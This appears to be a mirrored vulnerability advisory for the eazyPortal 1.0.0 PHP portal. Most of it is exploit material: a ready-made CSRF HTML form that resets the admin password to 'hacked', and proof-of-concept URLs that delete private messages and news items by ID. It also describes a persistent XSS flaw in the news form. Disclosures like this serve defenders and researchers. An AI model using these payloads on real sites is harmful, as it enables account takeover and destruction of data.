eazyPortal 1.0.0 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

eazyPortal 1.0.0 Multiple Vulnerabilities. Change admin password, Add news Persistent XSS, Remove private message, Remove news


                                                [#-----------------------------------------------------------------------------------------------#]
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 02. January 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: eazyPortal
[#] Version: 1.0.0
[#] Platform: PHP
[#] Homepage: http://www.eazyportal.com/
[#] Vulnerability: Multiple XSRF Vulnerabilities And Persistent XSS
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--Change admin password
 |--Add news - Persistent XSS
 |--Remove private message by id
 |--Remove news by id

[*]Change admin password

[EXPLOIT------------------------------------------------------------------------------------------]
&#60;form action=&#34;http://host/&#34; enctype=&#34;multipart/form-data&#34; method=&#34;post&#34;&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;a&#34; value=&#34;profile&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;uname&#34; value=&#34;admin&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;uavatar&#34; value=&#34;&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;uemail&#34;  value=&#34;[email protected]&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;upwd&#34; value=&#34;hacked&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;ucpwd&#34; value=&#34;hacked&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;ulocation&#34; value=&#34;moon&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;usignature&#34; value=&#34;free your mind and the
ass will follow&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;ushowemail&#34; value=&#34;0&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;ugmt&#34; value=&#34;0&#34;/&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;ufile&#34;/&#62;
  &#60;input type=&#34;image&#34;
src=&#34;http://host/tpl/DefaultGreen/img/button_submit.gif&#34;
name=&#34;submit&#34;/&#62;
&#60;/form&#62;
[EXPLOIT------------------------------------------------------------------------------------------]

[+]Add news - Persistent XSS

http://host/index.php?a=administrator&p=news&s=add

There we can add new news that can be seen on main page. It is
vulnerable to persistent xss and
attacker can use this to infect website visitors.

[-]Remove private message by id

[POC----------------------------------------------------------------------------------------------]
http://host/index.php?a=private&inbox=&d=[ID]
[POC----------------------------------------------------------------------------------------------]

[-]Remove news by id

[POC----------------------------------------------------------------------------------------------]
http://host/index.php?a=administrator&p=news&del=[ID]
[POC----------------------------------------------------------------------------------------------]

[#] EOF

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1